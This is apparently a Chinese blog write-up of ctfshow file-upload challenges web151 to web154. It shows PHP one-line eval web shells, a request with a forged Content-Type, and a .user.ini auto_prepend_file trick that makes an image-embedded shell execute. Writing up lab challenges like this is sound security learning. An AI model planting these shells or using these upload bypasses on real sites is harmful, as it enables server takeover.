ctfshow-web-文件上传

  1. web151
    提示前端验证绕过,就上传png后抓包改成php一句话传入后端
    <?php @eval($_POST['a']);?>

  2. web152
    和上题一模一样,应该是哪里出问题了,所以看了下wp,应该是文件类型验证
    Content-Type是文件类型,不同的文件都会对应不同的ContentType。 PHP文件的文件类型为:application/octet-stream Png的Content-Type是image/png
    请求包头中,开发者会通过Content-Type判断文件是否允许上传,但是Content-Type可以通过抓包篡改,这样就可以绕过Content-Type过滤
    POST内容加上image/png类型即可(因为我本来就是上传的png图片格式所以没有被js拦下来,文件类型在bp都不用改)

Content-Disposition: form-data; name="file"; filename="yijuhua.php"
Content-Type: image/png
<?php @eval($_POST['a']);?>
  1. web153
    照葫芦画瓢,但是抓包改为php后,提示unicode"文件类型不合规"
    扫了一遍目录,/upload/index.php居然文件夹有index索引,可以利用.user.ini文件来进行上传(.htaccess文件只能针对Apache环境,这里是nginx,F12可以看)
    (转自Asukaangle)某网站限制不允许上传.php文件,你便可以上传一个.user.ini,再上传一个图片马,包含起来进行getshell。不过前提是含有.user.ini的文件夹下需要有正常的php文件,否则也不能包含了。
    .user.ini文件会让同文件夹里面的jpg文件以php解析,auto_prepend_file=yijuhua.png
    前端改成ini可以通过,抓包修改文件类型就把.user.ini传进去啦,因为我传的是一个一句话图片马,所以经过ini的解析,这个upload文件夹里的index.php会解析木马,直接用ants连接index.php就行

  2. web154
    提示后端不能单二校验
    随便传个图片马,显示文件上传失败,失败原因:文件内容不合规。
    兄弟比我写的详细:https://www.cnblogs.com/IFS-/p/17249732.html
    四种php标记风格:https://blog.csdn.net/qq_35085863/article/details/76714367
    试了两个小时,容器换了5次,都G的,哎,后面补坑。
    第二天中午来补坑,不知道为啥上传的png格式的图片马都被注释到html里面了,然后把js一关。。。flag就出来了QAQ
    还有一种传马就是txt一句话,user.ini也是解析该txt文件,POST参数即代码执行。

    <?=eval($_POST[1]);?>
  3. web155

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值